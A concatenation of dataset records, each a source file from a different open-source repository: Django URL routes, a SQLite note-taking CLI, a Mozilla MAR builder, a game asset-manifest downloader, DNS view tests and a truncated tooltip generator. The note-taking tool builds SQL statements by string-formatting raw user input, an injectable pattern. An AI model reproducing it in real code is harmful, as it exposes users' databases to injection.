20150812 RBL Moved from client.py to its own file. \n# 20160226 RBL Remove \"doc injured\" messages from shortlog. \n# \n# \n\n#END\n\n", "source": "MIT-Informatics/PreservationSimulation", "license": "X11"} {"text": "from django.conf.urls import patterns, url\nfrom .views import CreateLaboratorio, ListaLaboratorio, DetalleView, ActualizarView, EliminarView\n\nurlpatterns = patterns('',\t\t\n\turl(r'^lista_laboratorios/$', ListaLaboratorio.as_view(), name = 'lista_laboratorios'),\n\turl(r'^detalle_laboratorios/(?P\\d+)/$', DetalleView.as_view(), name ='detalle_laboratorios'),\n\turl(r'^actualizar_laboratorios/(?P\\d+)/$', ActualizarView.as_view(), name =\"actualizar_laboratorios\"), \n\turl(r'^eliminar_laboratorios/(?P\\d+)/$', EliminarView.as_view(), name=\"eliminar_laboratorios\"), \n\turl(r'^create_laboratorios/$', CreateLaboratorio.as_view(), name='create_laboratorios'),\n )", "source": "cluco91/Django_Farmacia", "license": "MIT"} {"text": "import sqlite3\nfrom sqlite3 import Error\nimport os\nimport argparse\nimport shutil\n\n\n# Handles background code\nclass EFNote:\n \"\"\"\n Enables use of formattable note taking in the command line\n \"\"\"\n\n def __init__(self, main_path):\n \"\"\"\n Initializes class variables\n \"\"\"\n # Listen for\n self.debug_mode = False\n self.root_path = main_path\n self.config_file = os.path.join(self.root_path, \"formats.config\")\n self.notes_db = self.ConnectDB()\n self.formats = self.ParseFormatFile()\n self.LoadFiles()\n\n def ConnectDB(self):\n \"\"\"\n Connect to the notes database which is used to store all notes\n \"\"\"\n try:\n db_path = os.path.join(self.root_path, \"data/notes.db\")\n db = sqlite3.connect(db_path)\n return db\n except Error as e:\n print(e)\n\n return None\n\n def RunStatement(self, sql_statement):\n \"\"\"\n Runs a SQL statement on the notes db. This is used to create and remove\n format tables.\n \"\"\"\n try:\n conn = self.notes_db\n cursor = conn.cursor()\n cursor.execute(sql_statement)\n vals = cursor.fetchall()\n self.notes_db.commit()\n return vals\n except Error as e:\n print(e)\n\n def ParseFormatFile(self):\n \"\"\"\n Reads in config file (defaults to formats.config) to read supported\n formats and add necessary tables to DB if not already in.\n \"\"\"\n current_format = \"\"\n loaded_formats = {}\n\n for line in open(self.config_file, 'r+'):\n contents = line.split(' ')\n\n if contents[0] == '<#':\n current_format = contents[1].rstrip('\\n').lower()\n loaded_formats[current_format] = []\n\n if contents[0] == '<@':\n loaded_formats[current_format].append(contents[1].strip('\\n'))\n\n # TODO: Find a better way to do this\n for curr_format in loaded_formats:\n sql_statement = \"\"\"CREATE TABLE IF NOT EXISTS {0} (\n \"\"\".format(curr_format)\n\n for field in loaded_formats[curr_format]:\n sql_statement += \"{} text,\".format(field)\n\n sql_statement = sql_statement.rstrip(\",\")\n sql_statement += \");\"\n\n self.RunStatement(sql_statement)\n\n return loaded_formats\n\n def LoadFiles(self):\n \"\"\"\n Gets list of files in the root directory\n \"\"\"\n self.file_list = os.listdir(self.root_path)\n self.file_list.sort(\n key=lambda x: os.stat(os.path.join(self.root_path, x)).st_mtime,\n reverse=True)\n\n def Run(self):\n \"\"\"\n The main loop of this program, handles arguments from user\n \"\"\"\n\n parser = argparse.ArgumentParser(\n description=\"\"\"Note-taking app for easy creation of custom formatted notes.\"\"\"\n )\n\n parser.add_argument(\n 'command',\n nargs='?',\n action='store',\n choices=('new', 'view')\n )\n parser.add_argument(\n '--debug',\n type=parseBoolCmd,\n nargs='?',\n action='store',\n default='false'\n )\n parser.add_argument(\n 'entry_type',\n nargs='?',\n action='store'\n )\n\n results = parser.parse_args()\n\n if results.debug:\n self.debug_mode = True\n\n if results.command is None:\n DebugLog(\"No passed command\", self.debug_mode)\n self.PromptForCommand()\n elif results.command == 'new':\n DebugLog(\"Create new note command\", self.debug_mode)\n self.CreateNewNote(results.entry_type)\n elif results.command == 'view':\n DebugLog(\"View notes command\", self.debug_mode)\n self.ViewNotes(results.entry_type)\n\n def PromptForCommand(self):\n \"\"\"\n Prompts the user for an action if none was provided in program args\n \"\"\"\n\n command = input(\"\\nNEW | VIEW | QUIT [n/v/q] > \")\n\n if command == 'n':\n self.CreateNewNote(None)\n elif command == 'v':\n self.ViewNotes(None)\n elif command == 'q':\n quit()\n else:\n print(\"Unrecognized command...\")\n self.PromptForCommand()\n\n def CreateNewNote(self, note_type):\n \"\"\"\n Creates a new note of a specified type; prompts user if\n no type is specified\n \"\"\"\n\n # Make sure that a certain journal type is being used.\n if note_type is None:\n req_type = self.PromptForNoteType()\n else:\n req_type = note_type.lower()\n\n # Ensure requested type exists, prompt user\n # for type creation if it doesn't.\n if req_type not in self.formats:\n new_format = input(\"\"\"There is no '{0}' format {1} Would you like to create one? [y/n] > \"\"\"\n .format(req_type, os.linesep))\n\n if new_format == 'y':\n self.CreateNewFormat(req_type)\n else:\n self.Exit()\n\n print(\"Creating new {} entry\".format(req_type))\n\n # Make sure that the format type is valid\n assert req_type in self.formats\n\n new_entry = {}\n for format_field in self.formats[req_type]:\n print(\"---- {0:^15} ----\".format(format_field))\n new_entry[format_field] = input()\n\n save_entry = input(\"\\nSave entry? [y/n] > \")\n\n if parseBoolCmd(save_entry):\n sql_value_string = self.createSQLEntryString(new_entry)\n sql_str = \"INSERT INTO {} VALUES {}\".format(req_type,\n sql_value_string)\n \n self.RunStatement(sql_str)\n\n def createSQLEntryString(self, entry_items):\n \"\"\"\n Concatenates a list of strings into a format for easy entry into\n a SQL table\n \"\"\"\n print(entry_items)\n return_str = \"(\"\n for entry_type in entry_items:\n return_str += \"'\" + entry_items[entry_type] + \"'\" + ','\n return return_str.rstrip(',') + \")\"\n\n def CreateNewFormat(self, format_name):\n \"\"\"\n Guides user through easy creation of new formats\n\n Creates a new table in the storage db for the format.\n\n TO-DO: Finish implementation\n \"\"\"\n\n # Test if format_name already exists\n if format_name in self.formats:\n print(\"Format already exists...\")\n return\n\n def PromptForNoteType(self, action=\"create\"):\n \"\"\"\n Prompts user to enter a note format.\n (optional) action -> Modifies the input prompt to accurately depict\n what the note format will be used for (viewing, creating, etc.)\n \"\"\"\n supported_types = \"\"\n counter = 0\n\n # Loop through the current supported formats\n # and concatenate them to a string for printing.\n for curr_type in self.formats:\n supported_types += curr_type\n\n if counter != len(self.formats) - 1:\n supported_types += \" | \"\n counter += 1\n # Format wrapping of type output so it doesn't overflow\n # small terminals.\n if counter % 5 == 0:\n supported_types += \"\\n\"\n\n print(\"Supported Formats:\\n{0}\".format(supported_types))\n return input(\"Which format would you like to {}? > \".format(action)).lower()\n\n def ViewNotes(self, note_type):\n \"\"\"\n Views notes of specific type; views all notes if none provided\n\n TODO: Implement database lookup and listing\n \"\"\"\n # retrieves terminal size\n term_size = shutil.get_terminal_size()\n concatenated_note = False\n\n if note_type is None:\n note_type = self.PromptForNoteType(\"view\")\n statement = \"SELECT * FROM {}\".format(note_type)\n notes = self.RunStatement(statement)\n\n if len(notes) == 0:\n print(\"No {} entries...\".format(note_type))\n else:\n note_map = {}\n note_number = 1\n for note in notes:\n temp_str = \"{}: \".format(note_number)\n for val in note:\n temp_str += val + \" \"\n\n note_map[note_number] = temp_str # Memoize the note for potential later retrieval\n if len(temp_str) > term_size.columns - 5:\n temp_str = (temp_str[:term_size.columns - 7] + '..')\n concatenated_note = True\n else:\n temp_str = temp_str.rstrip(\" \")\n\n print(temp_str)\n\n note_number += 1\n\n if concatenated_note:\n print(os.linesep + \"There appears to be one (or more) notes that are concatenated\")\n view_note = input(\"If you would like to expand a note, enter the number (otherwise, n) > \")\n try:\n note_index = int(view_note)\n print(os.linesep + note_map[note_index])\n except ValueError:\n # The value of view_note is not an integer, so continue\n pass\n except KeyError:\n # The input WAS a number, but it isn't a valid note number\n print(\"That is not a valid note number.\")\n pass\n\n self.Exit()\n\n def Exit(self):\n \"\"\"\n Handles program loop exiting\n \"\"\"\n cont = input(\"\\nAny further action? [y/n] > \")\n\n if cont == 'y':\n self.PromptForCommand()\n elif cont == 'n':\n self.notes_db.close()\n quit()\n else:\n print(\"Unrecognized command...quitting...\")\n quit()\n# Application setup/close handling\n# PATH = os.getenv('HOME', os.path.expanduser('~')) + '/.efnote'\n\n\n# Logs debug messages to the command-line\ndef DebugLog(message, status):\n \"\"\"\n Prints a message to the terminal if debug mode is enabled\n \"\"\"\n if status:\n print(\"LOG: {}\".format(message))\n\n\ndef parseBoolCmd(cmd):\n \"\"\"\n Parses possible values of a boolean passed as argparse argument\n \"\"\"\n if cmd.lower() in ('1', 'y', 'yes', 't', 'true'):\n return True\n elif cmd.lower() in ('0', 'n', 'no', 'f', 'false'):\n return False\n\n return argparse.ArgumentTypeError(\"Expected boolean\")\n", "source": "FARRELLJJOHN/efnote", "license": "MIT"} {"text": "#!/usr/bin/env python\n#\n# Copyright (C) 2012 Mozilla Foundation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# Build a gecko (OTA) full or incremental MAR\n\nimport argparse\nimport os\nimport shutil\nimport tempfile\nimport update_tools\n\ndef unwrap_mar(mar, verbose):\n print \"Extracting MAR for incremental update: %s\" % mar\n tmpdir = tempfile.mkdtemp()\n bz2_mar = update_tools.BZip2Mar(mar, verbose=verbose)\n bz2_mar.extract(tmpdir)\n return tmpdir\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"mar\", metavar=\"MAR\", help=\"Destination MAR file\")\n parser.add_argument(\"--dir\", metavar=\"DIR\", default=None,\n help=\"Source directory. When building an \\\"incremental\\\" MAR, this can \" +\n \"also be a MAR for convenience. Default: $PWD\")\n\n parser.add_argument(\"--to\", metavar=\"TO\", default=None,\n help=\"This is a synonym for --dir\")\n parser.add_argument(\"--from\", metavar=\"FROM\", dest=\"from_dir\", default=None,\n help=\"The base directory or MAR to build an incremental MAR from. This \" +\n \"will build an incremental update MAR between FROM and TO\")\n parser.add_argument(\"-v\", \"--verbose\", dest=\"verbose\", action=\"store_true\",\n default=False, help=\"Enable verbose logging\")\n\n args = parser.parse_args()\n\n if os.path.isdir(args.mar):\n parser.error(\"MAR destination is a directory: %s\" % args.mar)\n\n if not args.dir:\n args.dir = args.to if args.to else os.getcwd()\n\n if not args.from_dir and not os.path.isdir(args.dir):\n parser.error(\"Path is not a directory: %s\" % args.dir)\n\n to_tmpdir = from_tmpdir = None\n if args.from_dir and os.path.isfile(args.dir):\n to_tmpdir = unwrap_mar(args.dir, args.verbose)\n args.dir = to_tmpdir\n\n if args.from_dir and os.path.isfile(args.from_dir):\n from_tmpdir = unwrap_mar(args.from_dir, args.verbose)\n args.from_dir = from_tmpdir\n\n try:\n builder = update_tools.GeckoMarBuilder()\n builder.build_gecko_mar(args.dir, args.mar, from_dir=args.from_dir)\n update_type = \"incremental\" if args.from_dir else \"full\"\n\n print \"Built %s update MAR: %s\" % (update_type, args.mar)\n except Exception, e:\n parser.error(e)\n finally:\n if to_tmpdir:\n shutil.rmtree(to_tmpdir)\n if from_tmpdir:\n shutil.rmtree(from_tmpdir)\n\nif __name__ == \"__main__\":\n main()\n", "source": "rwood-moz/B2G", "license": "Apache-2.0"} {"text": "import os\nimport sqlite3\nimport lz4\nimport io\nfrom time import time\nfrom email.utils import mktime_tz, parsedate_tz\nfrom collections import namedtuple\nfrom tornado import httpclient\nfrom lz4.block import decompress as lz4_decompress\n\nDBMANIFEST = \"https://asset-starlight-stage.akamaized.net/dl/{0}/manifests\"\nASSETBBASEURL = \"https://asset-starlight-stage.akamaized.net/dl/resources/AssetBundles\"\nSOUNDBASEURL = \"https://asset-starlight-stage.akamaized.net/dl/resources/Sound\"\nSQLBASEURL = \"https://asset-starlight-stage.akamaized.net/dl/resources/Generic/{1}/{0}\"\nCACHE = os.path.join(os.path.dirname(__file__), \"__manifestloader_cache\")\ntry:\n os.makedirs(CACHE, 0o755)\nexcept FileExistsError:\n pass\n\ndef extra_acquisition_headers():\n return {\"X-Unity-Version\": os.environ.get(\"VC_UNITY_VER\", \"5.4.5p1\")}\n\ndef filename(version, platform, asset_qual, sound_qual):\n return \"{0}_{1}_{2}_{3}\".format(version, platform, asset_qual, sound_qual)\n\nasync def read_manifest(version, platform, asset_qual, sound_qual):\n dest_file = os.path.join(CACHE, filename(version, platform, asset_qual, sound_qual))\n if not os.path.exists(dest_file):\n path = await acquire_manifest(version, platform, asset_qual, sound_qual, dest_file)\n else:\n path = dest_file\n\n if not path:\n return None\n\n return sqlite3.connect(path)\n\nmanifest_selector_t = namedtuple(\"manifest_selector_t\", (\"filename\", \"md5\", \"platform\", \"asset_qual\", \"sound_qual\"))\nasync def acquire_manifest(version, platform, asset_qual, sound_qual, dest_file):\n cl = httpclient.AsyncHTTPClient()\n meta = \"/\".join(( DBMANIFEST.format(version), \"all_dbmanifest\" ))\n try:\n meta = await cl.fetch(meta, headers=extra_acquisition_headers())\n except Exception as e:\n print(\"acquire_manifest: unhandled error while getting meta:\", e)\n return None\n\n m = meta.body.decode(\"utf8\")\n mp = map(lambda x: manifest_selector_t(* x.split(\",\")), filter(bool, m.split(\"\\n\")))\n get_file = None\n for selector in mp:\n if selector.platform == platform and \\\n selector.asset_qual == asset_qual and \\\n selector.sound_qual == sound_qual:\n get_file = selector.filename\n break\n else:\n print(\"No candidate found for\", platform, asset_qual, sound_qual)\n return None\n\n abso = \"/\".join(( DBMANIFEST.format(version), get_file ))\n try:\n mani = await cl.fetch(abso, headers=extra_acquisition_headers())\n except Exception as e:\n print(\"acquire_manifest: unhandled error while getting meta:\", e)\n return None\n\n buf = mani.buffer.read()\n bio = io.BytesIO()\n bio.write(buf[4:8])\n bio.write(buf[16:])\n data = lz4_decompress(bio.getvalue())\n with open(dest_file, \"wb\") as write_db:\n write_db.write(data)\n return dest_file\n\nasync def get_master(res_ver, to_path):\n manifest = await read_manifest(res_ver, \"Android\", \"High\", \"High\")\n if not manifest:\n return None\n\n cur = manifest.execute(\"SELECT hash, attr FROM manifests WHERE name = ?\", (\"master.mdb\",))\n hash, attr = cur.fetchone()\n manifest.close()\n\n url = SQLBASEURL.format(hash, hash[0:2])\n cl = httpclient.AsyncHTTPClient()\n\n try:\n mashttp = await cl.fetch(url, headers=extra_acquisition_headers())\n except Exception as e:\n print(\"get_master: unhandled error while getting master:\", e)\n return None\n\n buf = mashttp.buffer.read()\n bio = io.BytesIO()\n bio.write(buf[4:8])\n bio.write(buf[16:])\n data = lz4_decompress(bio.getvalue())\n with open(to_path, \"wb\") as write_db:\n write_db.write(data)\n\n mdate = mashttp.headers.get(\"Last-Modified\")\n if mdate:\n tt = parsedate_tz(mdate)\n mtime = mktime_tz(tt) if tt else int(time())\n else:\n mtime = int(time.time())\n os.utime(to_path, (-1, mtime))\n return to_path\n", "source": "summertriangle-dev/sparklebox", "license": "Unlicense"} {"text": "\"\"\"all animation related logic\"\"\"\n\nfrom progress.bar import IncrementalBar\nfrom progress.spinner import PixelSpinner\n\nclass Bar(IncrementalBar):\n \"\"\"custom progress bar\"\"\"\n\n message = \"Status\"\n suffix = \"%(percent).1f%% - ETA %(eta)ds\"\n\nclass Animate:\n \"\"\"handles progress bars and spinners\"\"\"\n def __init__(self, accuracy):\n self.bar = Bar(max=accuracy)\n self.spinner = PixelSpinner()\n\n def next(self):\n \"\"\"advance the spinner and bar to the next iteration in cycle\"\"\"\n self.bar.next()\n self.spinner.next()\n\n def done(self):\n \"\"\"complete the bar\"\"\"\n self.bar.finish()\n", "source": "terror/paragon", "license": "MIT"} {"text": "from django.test.client import Client\n\nfrom nose.tools import eq_\n\nimport cyder.base.tests\nfrom cyder.base.tests.test_views_template import build, random_label\nfrom cyder.cydns.address_record.models import AddressRecord\nfrom cyder.cydns.cname.models import CNAME\nfrom cyder.cydns.domain.models import Domain\nfrom cyder.cydns.ip.utils import ip_to_domain_name\nfrom cyder.cydns.mx.models import MX\nfrom cyder.cydns.nameserver.models import Nameserver\nfrom cyder.cydns.ptr.models import PTR\nfrom cyder.cydns.srv.models import SRV\nfrom cyder.cydns.soa.models import SOA\nfrom cyder.cydns.txt.models import TXT\nfrom cyder.cydns.sshfp.models import SSHFP\nfrom cyder.cydns.view.models import View\n\nfrom cyder.cydns.tests.utils import create_fake_zone\n\n\ndef do_setUp(self, test_class, test_data, use_domain=True, use_rdomain=False):\n self.client = Client()\n self.client.login(username='test_superuser', password='password')\n self.test_class = test_class\n self.public_view = View.objects.get_or_create(name='public')[0]\n self.private_view = View.objects.get_or_create(name='private')[0]\n\n # Create forward zone.\n self.domain = create_fake_zone(random_label(), suffix='oregonstate.edu')\n self.soa = self.domain.soa\n self.subdomain = Domain.objects.create(\n name=random_label() + '.' + self.domain.name, soa=self.soa)\n\n self.reverse_domain = create_fake_zone('196.in-addr.arpa', suffix='')\n self.soa2 = self.reverse_domain.soa\n\n # Create test object.\n test_data = dict(test_data.items())\n if use_domain:\n test_data['domain'] = self.domain\n if use_rdomain:\n test_data['reverse_domain'] = self.reverse_domain\n self.test_obj, create = test_class.objects.get_or_create(**test_data)\n\n\nclass NoNSTests(object):\n\n def get_domain_and_post_data(self):\n # This is different for classes that have ips instead of fqdns\n domain_name = \"{0}.{1}.{2}.{3}.com\".format(\n random_label(), random_label(), random_label(), random_label()\n )\n root_domain = create_fake_zone(domain_name, suffix=\"\")\n post_data = self.post_data()\n # Get the '_' in SRV records\n post_data['fqdn'] = post_data['fqdn'][0] + \"asdf.asdf.\" + domain_name\n return root_domain, post_data\n\n def test_no_ns_in_view(self):\n root_domain, post_data = self.get_domain_and_post_data()\n ns = root_domain.nameserver_set.all()[0]\n ns.views.remove(self.public_view)\n ns.views.remove(self.private_view)\n # We now have a zone with nameservers that aren't in any views. No\n # record should be allowed to be in the view\n\n start_obj_count = self.test_class.objects.all().count()\n post_data['views'] = [self.public_view.pk]\n\n # Create the object then get the object\n resp = self.client.post(self.test_class.get_create_url(),\n post_data, follow=True)\n self.assertEqual(resp.status_code, 200)\n new_obj_count = self.test_class.objects.all().count()\n\n # Nothing should have been created\n self.assertEqual(start_obj_count, new_obj_count)\n\n ns.views.add(self.public_view)\n\n # Okay, we should be able to add to the public view now\n start_obj_count = self.test_class.objects.all().count()\n resp = self.client.post(self.test_class.get_create_url(),\n post_data, follow=True)\n new_obj_count = self.test_class.objects.all().count()\n self.assertEqual(start_obj_count + 1, new_obj_count)\n\n\nclass AddressRecordViewTests(cyder.base.tests.TestCase, NoNSTests):\n fixtures = ['test_users/test_users.json']\n name = 'address_record'\n\n def setUp(self):\n test_data = {\n 'label': random_label(),\n 'ip_type': '4',\n 'ip_str': '196.168.1.1',\n }\n do_setUp(self, AddressRecord, test_data)\n\n def post_data(self):\n return {\n 'fqdn': self.domain.name,\n 'ip_type': '4',\n 'ip_str': '196.168.1.2',\n 'ttl': '400',\n 'description': 'yo',\n }\n\n\nclass CNAMEViewTests(cyder.base.tests.TestCase, NoNSTests):\n fixtures = ['test_users/test_users.json']\n name = 'cname'\n\n def setUp(self):\n test_data = {\n 'label': random_label(),\n 'target': random_label()\n }\n do_setUp(self, CNAME, test_data)\n\n def post_data(self):\n return {\n 'fqdn': self.subdomain.name,\n 'label': random_label(),\n 'target': random_label()\n }\n\n\nclass NSViewTests(cyder.base.tests.TestCase):\n fixtures = ['test_users/test_users.json']\n name = 'nameserver'\n\n def setUp(self):\n self.domain = create_fake_zone(\"foobarbaz.com\")\n test_data = {\n 'server': self.domain.name\n }\n do_setUp(self, Nameserver, test_data)\n\n def post_data(self):\n return {\n 'fqdn': self.domain.name,\n 'server': self.domain.name\n }\n\n def test_no_ns_in_view(self):\n root_domain = create_fake_zone(\"asdfdjhjd\")\n ns = root_domain.nameserver_set.all()[0]\n\n cn = CNAME(label='asdf', domain=root_domain, target='test.com')\n cn.full_clean()\n cn.save()\n cn.views.add(self.public_view)\n\n self.assertTrue(ns.domain.soa == cn.domain.soa)\n\n # We now should have a nameserver and a cname in the public view. The\n # nameserver should not be allowed to disable it's public view\n\n # Try to remove the public view\n self.assertTrue(self.public_view in ns.views.all())\n self.assertTrue(self.private_view in ns.views.all())\n post_data = self.post_data()\n post_data['fqdn'] = ns.domain.name\n post_data['views'] = [self.private_view.pk]\n resp = self.client.post(\n ns.get_update_url(), post_data, follow=True\n )\n self.assertEqual(resp.status_code, 200)\n # Make sure it's still there\n ns = Nameserver.objects.get(pk=ns.pk) # fetch\n # Make sure the view is still there\n # The clean method should prevent it from being deleted\n self.assertTrue(self.public_view in ns.views.all())\n\n # Try to remove the private view\n # This should be allowed\n self.assertTrue(self.public_view in ns.views.all())\n post_data = self.post_data()\n post_data['views'] = [self.public_view.pk]\n resp = self.client.post(\n ns.get_update_url(), post_data, follow=True\n )\n self.assertEqual(resp.status_code, 200)\n # Make sure it's still there\n ns = Nameserver.objects.get(pk=ns.pk) # fetch\n # Make sure the view is still there\n # The clean method should prevent it from being deleted\n self.assertTrue(self.private_view not in ns.views.all())\n\n\nclass MXViewTests(cyder.base.tests.TestCase, NoNSTests):\n fixtures = ['test_users/test_users.json']\n name = 'mx'\n\n def setUp(self):\n test_data = {\n 'label': random_label(),\n 'server': random_label(),\n 'priority': 123,\n 'ttl': 213\n }\n do_setUp(self, MX, test_data)\n\n def post_data(self):\n return {\n 'fqdn': self.domain.name,\n 'label': random_label(),\n 'server': random_label(),\n 'priority': 123,\n 'ttl': 213\n }\n\n\nclass PTRViewTests(cyder.base.tests.TestCase, NoNSTests):\n fixtures = ['test_users/test_users.json']\n name = 'ptr'\n\n def get_domain_and_post_data(self):\n # This is different for classes that have ips instead of fqdns\n domain_name = \"9.ip6.arpa\"\n root_domain = create_fake_zone(domain_name, suffix=\"\")\n post_data = self.post_data()\n post_data['ip_str'] = '9000::df12'\n post_data['ip_type'] = '6'\n return root_domain, post_data\n\n def setUp(self):\n test_data = {\n 'name': random_label(),\n 'ip_type': '4',\n 'ip_str': '196.168.1.2',\n }\n Domain.objects.create(name='arpa')\n Domain.objects.create(name='in-addr.arpa')\n Domain.objects.create(name='196.in-addr.arpa')\n Domain.objects.create(name='168.196.in-addr.arpa')\n Domain.objects.create(name='1.168.196.in-addr.arpa')\n\n Domain.objects.create(name=ip_to_domain_name(test_data['ip_str']))\n do_setUp(self, PTR, test_data, use_domain=False, use_rdomain=True)\n\n def post_data(self):\n return {\n 'name': random_label(),\n 'ip_type': '4',\n 'ip_str': '196.168.1.3',\n 'description': 'yo',\n }\n\n def test_update_reverse_domain(self):\n eq_(self.test_obj.reverse_domain.name, '2.1.168.196.in-addr.arpa')\n post_data = self.post_data()\n\n self.client.post(self.test_obj.get_update_url(), post_data,\n follow=True)\n updated_obj = PTR.objects.get(id=self.test_obj.id)\n eq_(updated_obj.ip_str, '196.168.1.3')\n\n\nclass SRVViewTests(cyder.base.tests.TestCase, NoNSTests):\n fixtures = ['test_users/test_users.json']\n name = 'srv'\n\n def setUp(self):\n test_data = {\n 'label': '_' + random_label(),\n 'target': 'foo.com',\n 'priority': 2,\n 'weight': 2222,\n 'port': 222\n }\n do_setUp(self, SRV, test_data)\n\n def post_data(self):\n return {\n 'fqdn': '_' + random_label() + '.' + self.domain.name,\n 'target': 'foo.bar',\n 'priority': 2,\n 'weight': 2222,\n 'port': 222\n }\n\nclass TXTViewTests(cyder.base.tests.TestCase, NoNSTests):\n fixtures = ['test_users/test_users.json']\n name = 'txt'\n\n def setUp(self):\n test_data = {\n 'label': random_label(),\n 'txt_data': random_label()\n }\n do_setUp(self, TXT, test_data)\n\n def post_data(self):\n return {\n 'fqdn': self.domain.name,\n 'label': random_label(),\n 'txt_data': random_label()\n }\n\n\nclass SSHFPViewTests(cyder.base.tests.TestCase, NoNSTests):\n fixtures = ['test_users/test_users.json']\n name = 'sshfp'\n\n def setUp(self):\n test_data = {\n 'label': random_label(),\n 'algorithm_number': 1,\n 'fingerprint_type': 1,\n 'key': '9d97e98f8af710c7e7fe703abc8f639e0ee50222'\n }\n do_setUp(self, SSHFP, test_data)\n\n def post_data(self):\n return {\n 'fqdn': self.domain.name,\n 'label': random_label(),\n 'algorithm_number': 1,\n 'fingerprint_type': 1,\n 'key': '9d97e98f8af710c7e7fe703abc8f639e0ee50111'\n }\n\n\n# Build the tests.\nbuild([AddressRecordViewTests, CNAMEViewTests, MXViewTests, NSViewTests,\n PTRViewTests, SRVViewTests, TXTViewTests, SSHFPViewTests])\n", "source": "ngokevin/chili", "license": "BSD-3-Clause"} {"text": "import sys\r\nimport hashlib\r\nimport os\r\n\r\n# TODO: Refactor add_tooltip completely, get rid of redundant functions\r\nclass AbilityTooltipGenerator:\r\n # :TAG -> [Reference concatenated in tsv, Sort order priority (Higher = displayed lower in the game UI tooltip)]\r\n TAG_DAMAGE_TOOLTIP = [\"_th_damage_tooltip\", 190]\r\n TAG_PHASE_TOOLTIP = [\"_th_phase_damage_tooltip\", 191]\r\n TAG_DETONATION_DAMAGE_TOOLTIP = [\"_th_detonation_damage_tooltip\", 192]\r\n TAG_BONUS_V_LARGE = [\"_th_damage_bonus_v_large\", 193]\r\n TAG_MOVEMENT_SPEED = [\"_th_movement_speed\", 194]\r\n TAG_EQUAL_RADIUS = [\"_th_equal_radius\", 195]\r\n TAG_EXPANDING_RADIUS = [\"_th_expanding_radius\", 195]\r\n TAG_WIND_UP_TINE = [\"_th_wind_up_time\", 196]\r\n TAG_ON_CONTACT = [\"_th_on_projectile_cont\", 197]\r\n\r\n def __init__(self, log):\r\n self.arr_tooltips = {} # Map> where tooltip is in the form {key : str, localisation : str, tag : TAG}\r\n self.log = log\r\n\r\n def dump(self):\r\n self.log.set_active_class(\"AbilityTooltipGenerator\")\r\n self.log.debug(str(self.__dict__.keys()))\r\n self.log.debug(str((AbilityTooltipGenerator.__dict__)))\r\n\r\n self.log.debug(\"~~~~~~~~~~~~~~~~~~ DUMPING AbilityTooltipGenerator ~~~~~~~~~~~~~~~~~~\")\r\n for tooltip_key in self.arr_tooltips:\r\n tooltip = self.arr_tooltips[tooltip_key]\r\n self.log.debug(tooltip_key + \" | \"+str(tooltip))\r\n\r\n # Return true and an array of tooltips if any tooltips have been created for the specified key.\r\n # Otherwise returns false\r\n def contains_key(self, key):\r\n found = False\r\n tooltips = []\r\n\r\n if key in self.arr_tooltips:\r\n tips = self.arr_tooltips[key]\r\n for tooltip in tips.values():\r\n if tooltip[\"tag\"][0] != AbilityTooltipGenerator.TAG_WIND_UP_TINE[0]:\r\n found = True\r\n tooltips.append(tooltip)\r\n #TODO: @Refactor remove found and use len(tooltips) instead\r\n return [found, tooltips]\r\n\r\n # Returns true if a damage tooltip exists for the key\r\n def contains_damage_tooltip(self, key):\r\n return key in self.arr_tooltips and self.TAG_DAMAGE_TOOLTIP[0] in self.arr_tooltips[key]\r\n\r\n # Returns true if a detonation tooltip exists for the key\r\n def contains_detonation_tooltip(self, key):\r\n return key in self.arr_tooltips and self.TAG_DETONATION_DAMAGE_TOOLTIP[0] in self.arr_tooltips[key]\r\n\r\n def _add_tooltip(self, tooltip):\r\n key = tooltip[\"key\"]\r\n if key in self.arr_tooltips:\r\n self.arr_tooltips[key][tooltip[\"tag\"][0]] = tooltip\r\n else:\r\n self.arr_tooltips[key] = {tooltip[\"tag\"][0]: tooltip}\r\n \r\n self.log.debug(\"Added tooltip: \" +str(tooltip))\r\n\r\n def add_damage_tooltip(self, key, localisation):\r\n self._add_tooltip({\"key\":key, \"localisation\": localisation, \"tag\": self.TAG_DAMAGE_TOOLTIP})\r\n\r\n def add_bonus_v_large_tooltip(self, key, stramount):\r\n self._add_tooltip({\"key\":key, \"localisation\":\"Bonus versus large: \" +stramount, \"tag\": self.TAG_BONUS_V_LARGE})\r\n\r\n def add_detonation_damage_tooltip_with_local(self, key, localisation):\r\n self._add_tooltip({\"key\":key, \"localisation\": localisation, \"tag\": self.TAG_DETONATION_DAMAGE_TOOLTIP})\r\n\r\n def add_phase_tooltip(self, key, localisation):\r\n self._add_tooltip({\"key\":key, \"localisation\":localisation, \"tag\": self.TAG_PHASE_TOOLTIP})\r\n\r\n def add_detonation_damage_tooltip(self, key, explosion):\r\n dmg = explosion[\"detonation_dmg\"]\r\n dmgap = explosion[\"detonation_dmgap\"]\r\n is_magical = explosion[\"is_magical\"]\r\n assert (dmg > 0 or dmgap > 0) and type(is_magical) == bool\r\n\r\n localisation = \"Detonation damage (per projectile & magical): \" if is_magical else \"Detonation damage (per projectile & non-magical): \"\r\n\r\n if dmg > 0: localisation += str(dmg)\r\n if dmgap > 0:\r\n if dmg > 0: localisation += \", \" + str(dmgap) + \" AP\"\r\n else: localisation += str(dmgap) +\" AP\"\r\n \r\n self._add_tooltip({\"key\":key, \"localisation\":localisation, \"tag\": self.TAG_DETONATION_DAMAGE_TOOLTIP})\r\n\r\n def add_equal_radius_tooltip(self, key, localisation):\r\n self._add_tooltip({\"key\":key, \"localisation\":localisation, \"tag\":self.TAG_EQUAL_RADIUS})\r\n\r\n def add_expanding_radius_tooltip(self, key, localisation):\r\n self._add_tooltip({\"key\":key, \"localisation\":localisation, \"tag\":self.TAG_EXPANDING_RADIUS})\r\n\r\n def add_wind_up_time_tooltip(self, key, localisation):\r\n self._add_tooltip({\"key\":key, \"localisation\":localisation, \"tag\":self.TAG_WIND_UP_TINE})\r\n\r\n def add_on_contact_tooltip(self, key, localisation):\r\n self._add_tooltip({\"key\": key, \"localisation\": localisation, \"tag\": self.TAG_ON_CONTACT})\r\n\r\n # TODO: Investigate why this exists\r\n def add_tooltips(self, type, detonation, damageTxt, log):\r\n if damageTxt != False:\r\n log.debug(\"Added damage tooltip with key: {key} and text: 